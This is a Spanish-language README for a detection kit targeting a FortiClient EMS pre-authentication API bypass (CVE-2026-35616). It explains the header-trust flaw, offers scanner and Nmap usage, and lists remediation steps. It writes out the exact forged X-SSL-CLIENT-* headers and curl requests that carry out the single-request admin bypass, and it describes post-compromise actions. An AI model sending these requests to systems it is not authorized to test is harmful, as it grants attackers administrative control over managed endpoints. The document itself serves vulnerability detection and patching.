
Kit de detección para CVE-2026-35616, una omisión de API de preautenticación en FortiClient EMS. Incluye un escáner en Python y un script NSE de Nmap para identificar versiones vulnerables y proporcionar orientación de remediación.
Un bypass de autenticación crítico en Fortinet FortiClient EMS 7.4.5 y 7.4.6 permite a un atacante remoto completamente no autenticado eludir la autenticación de la API falsificando una única cabecera HTTP (X-SSL-CLIENT-VERIFY). La falla existe porque el middleware de Django confía en los metadatos del certificado del cliente provenientes de cabeceras controladas por el usuario, no solo del proxy inverso de confianza. Esto otorga a los atacantes acceso administrativo completo a la API, y desde allí, ejecución arbitraria de código en los endpoints gestionados de toda la empresa.
Explotado activamente desde el 31 de marzo de 2026. Añadido al catálogo KEV de CISA el 6 de abril de 2026.
| Campo | Detalle |
|---|---|
| ID CVE | CVE-2026-35616 |
| Proveedor | Fortinet |
| Producto | FortiClient Enterprise Management Server (EMS) |
| Versiones Afectadas | 7.4.5, 7.4.6 |
| No Afectadas | Rama 7.2.x, 7.4.4 y anteriores |
| CVSS v3.1 | 9.1 (Crítico) |
| CWE | CWE-284 - Control de Acceso Inadecuado |
| Vector de Ataque | Red |
| Autenticación | No se requiere |
| Interacción del Usuario | Ninguna |
| Madurez del Exploit | Explotado en la naturaleza |
| CISA KEV | Añadido el 6 de abril de 2026 (fecha límite: 9 de abril de 2026) |
| Parche | Hotfix disponible; corrección completa en 7.4.7 |
| Créditos | Simo Kohonen (Defused Cyber), Nguyen Duc Anh |
FortiClient Enterprise Management Server (EMS) es la plataforma centralizada de gestión de endpoints de Fortinet. Actúa como la capa de comando y control para implementar, configurar y monitorear los agentes de FortiClient en una organización. Piense en él como el cerebro que gobierna cada endpoint en un entorno gestionado por Fortinet:
Cuando un atacante obtiene acceso administrativo a EMS, esencialmente posee las llaves de cada endpoint gestionado en la organización.
FortiClient EMS utiliza una pila de aplicaciones web bastante estándar entre bastidores:
+----------------+ +----------------+ +----------------+
| Navegador / | HTTPS | Apache | WSGI | Django |
| Cliente API | -------> | (mod_ssl) | -------> | Backend |
+----------------+ +----------------+ +----------------+
Cuando se configura TLS mutuo (mTLS), el mod_ssl de Apache maneja la verificación del certificado del cliente. Después de validar el certificado, Apache pasa el resultado de la verificación a Django a través de variables de entorno WSGI de confianza:
SSL_CLIENT_VERIFY - El estado de verificación (SUCCESS, NONE, FAILED)SSL_CLIENT_S_DN - El Nombre Distinguido del Sujeto del certificadoSSL_CLIENT_SERIAL - El número de serie del certificadoEste es el patrón estándar y seguro. El problema está en cómo el middleware de Django lee estos datos.
En FortiClient EMS 7.4.5 y 7.4.6, el middleware de autenticación de Django fue modificado para aceptar también esta misma información desde cabeceras de solicitud HTTP:
X-SSL-CLIENT-VERIFYX-SSL-CLIENT-S-DNX-SSL-CLIENT-SERIALEsto probablemente se añadió para soportar implementaciones con proxy inverso donde Apache no es el punto de terminación TLS. Sin embargo, el middleware no distingue entre estas dos fuentes. Primero verifica las variables WSGI, pero si están ausentes (sin mTLS configurado, o una conexión directa), recurre a las cabeceras HTTP, que cualquier cliente puede establecer.
Aquí está el desglose conceptual:
RUTA SEGURA (prevista):
Apache mod_ssl valida el certificado --> establece variables de entorno WSGI --> Django lee las variables de entorno [OK]
RUTA INSEGURA (la vulnerabilidad):
El atacante establece cabeceras HTTP directamente --> Django lee las cabeceras --> Confía en ellas [FALLO]
El middleware efectivamente confía en que el cliente auto-certifique su propio estado de verificación de certificado. Es como si un portero le preguntara a alguien "Oye, ¿el otro portero ya revisó tu identificación?" y lo dejara entrar cuando dice "sí".
Paso 1: El atacante envía una solicitud POST a un endpoint de la API de EMS
con estas cabeceras:
X-SSL-CLIENT-VERIFY: SUCCESS
X-SSL-CLIENT-S-DN: CN=admin
X-SSL-CLIENT-SERIAL: 0000000000000001
Paso 2: El middleware de Django verifica las variables de entorno WSGI → no presentes
Recurre a las cabeceras HTTP → encuentra X-SSL-CLIENT-VERIFY: SUCCESS
Paso 3: El middleware trata la solicitud como autenticada con identidad de administrador
Paso 4: El atacante tiene acceso administrativo completo a la API
Paso 5: Desde la API de administración, el atacante puede:
- Enviar políticas maliciosas a todos los endpoints gestionados
- Extraer credenciales y certificados almacenados
- Implementar payloads mediante la distribución de software
- Modificar configuraciones ZTNA
- Moverse lateralmente hacia la red más amplia
Todo el ataque requiere una única solicitud HTTP. Sin fuerza bruta, sin relleno de credenciales, sin ingeniería social. Solo una cabecera falsificada.
La gravedad aquí va más allá del propio servidor. FortiClient EMS es un multiplicador de fuerza: comprometerlo le da a un atacante influencia sobre cada endpoint gestionado:
Impacto Inmediato:
Impacto Descendente (a través de endpoints gestionados):
Riesgo Empresarial:
| Versión | Estado |
|---|---|
| FortiClient EMS 7.4.6 | Vulnerable |
| FortiClient EMS 7.4.5 | Vulnerable |
| FortiClient EMS 7.4.4 y anteriores | No afectada |
| FortiClient EMS 7.2.x | No afectada |
| Fecha | Evento |
|---|---|
| ~Finales de marzo de 2026 | Vulnerabilidad descubierta y reportada por Simo Kohonen y Nguyen Duc Anh |
| 31 de marzo de 2026 | Primeros intentos de explotación registrados contra honeypots (Defused Cyber) |
| 4 de abril de 2026 | Fortinet publica hotfixes de emergencia para 7.4.5 y 7.4.6 |
| 6 de abril de 2026 | CISA añade CVE-2026-35616 al catálogo KEV (fecha límite: 9 de abril de 2026) |
| 13 de abril de 2026 | Se publica este kit de herramientas de detección |
El script en Python prueba múltiples endpoints de la API utilizando una técnica de respuesta diferencial.
Cómo funciona:
HTTP 401 No Autorizado)X-SSL-CLIENT-VERIFY: SUCCESS inyectada401 a cualquier otro (típicamente 500 o 200), el bypass de autenticación se confirmaNunca se envía un payload de explotación. La prueba es segura para producción.
Uso:
# Instalar dependencias (solo se necesita la biblioteca estándar para este script)
pip install -r requirements.txt
# Objetivo único
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100
# Puerto personalizado
python CVE-2026-35616_FortiClientEMS_detector.py -t ems.corp.local -p 8443
# Escaneo masivo desde archivo
python CVE-2026-35616_FortiClientEMS_detector.py -f targets.txt
# Salida JSON guardada en archivo
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --json -o results.json
# Con verificación de certificado SSL habilitada
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --verify-ssl
# Tiempo de espera aumentado para redes lentas
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --timeout 20
Opciones:
| Indicador | Descripción | Predeterminado |
|---|---|---|
-t, --target | IP u hostname del objetivo | - |
-f, --file | Archivo con objetivos, uno por línea (las líneas que comienzan con # se omiten) | - |
-p, --port | Puerto del objetivo | 443 |
--timeout | Tiempo de espera de conexión en segundos | 10 |
--verify-ssl | Habilitar verificación de certificado SSL | Deshabilitado |
--json | Mostrar resultados en formato JSON | Desactivado |
-o, --output | Guardar resultados en un archivo | - |
Ejemplo de salida:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-35616 - Detector de Bypass de Autenticación de ║
║ FortiClient EMS ║
║ Bypass de Acceso a API Pre-Autenticación → Escalada de ║
║ Privilegios ║
║ CVSS: 9.1 (Crítico) | CISA KEV: Explotación Activa ║
╚══════════════════════════════════════════════════════════════╝
[*] Escaneando 192.168.1.100:443...
Objetivo: 192.168.1.100:443
============================================================
[*] FortiClient EMS detectado (Versión: Desconocida)
Resultados de la Prueba de Vulnerabilidad:
[VULNERABLE] /api/v1/auth/signin Referencia: 401 → Falsificado: 500
[VULNERABLE] /api/v1/system/status Referencia: 401 → Falsificado: 500
[NO VULN] /api/v1/endpoints Referencia: 401 → Falsificado: 401
[!] EL OBJETIVO ES PROBABLEMENTE VULNERABLE A CVE-2026-35616
Bypass de API pre-autenticación confirmado. ¡Aplique el hotfix inmediatamente!
Remediación: Actualice a FortiClient EMS 7.4.7 o aplique el hotfix
# Instalar el script NSE
sudo cp CVE-2026-35616_FortiClientEMS.nse /usr/share/nmap/scripts/
sudo nmap --script-updatedb
# Escaneo básico
nmap -p 443 --script CVE-2026-35616_FortiClientEMS <objetivo>
# Escanear una subred
nmap -p 443 --script CVE-2026-35616_FortiClientEMS 10.0.0.0/24
# Escanear múltiples objetivos desde un archivo
nmap -p 443 --script CVE-2026-35616_FortiClientEMS -iL targets.txt
# Con detección de versión de servicio
nmap -sV -p 443 --script CVE-2026-35616_FortiClientEMS <objetivo>
Ejemplo de salida de Nmap:
PORT STATE SERVICE
443/tcp open https
| CVE-2026-35616_FortiClientEMS:
| VULNERABLE:
| Bypass de API Pre-Autenticación en FortiClient EMS
| Estado: VULNERABLE
| IDs: CVE:CVE-2026-35616
| Factor de riesgo: Crítico (CVSS: 9.1)
| Fecha de divulgación: 2026-04-04
| Información adicional:
| Endpoints afectados: 2
| Remediación: Aplique el hotfix para FortiClient EMS 7.4.5/7.4.6 o actualice a 7.4.7
| Fecha límite CISA KEV: 9 de abril de 2026
| Referencias:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-35616
|_ https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Si desea confirmar manualmente con curl:
# Paso 1: Referencia - debería devolver 401
curl -sk -X POST https://<OBJETIVO>:443/api/v1/auth/signin \
-H "Content-Type: application/json" \
-d '{}' \
-o /dev/null -w "%{http_code}\n"
# Paso 2: Falsificado - si devuelve algo distinto de 401, probablemente vulnerable
curl -sk -X POST https://<OBJETIVO>:443/api/v1/auth/signin \
-H "Content-Type: application/json" \
-H "X-SSL-CLIENT-VERIFY: SUCCESS" \
-H "X-SSL-CLIENT-S-DN: CN=admin" \
-H "X-SSL-CLIENT-SERIAL: 0000000000000001" \
-d '{}' \
-o /dev/null -w "%{http_code}\n"
Si el primero devuelve 401 y el segundo devuelve 500 o 200, la instancia es vulnerable.
Esté atento a estas señales en su entorno:
X-SSL-CLIENT-VERIFY desde fuentes que no son proxyFuentes de registro a revisar:
Acciones inmediatas (hágalas ahora):
A corto plazo (esta semana):
A largo plazo:
X-SSL-CLIENT-VERIFY, X-SSL-CLIENT-S-DN y X-SSL-CLIENT-SERIAL de las solicitudes entrantes en el borde de la redKerem Oruç - Ingeniero de Ciberseguridad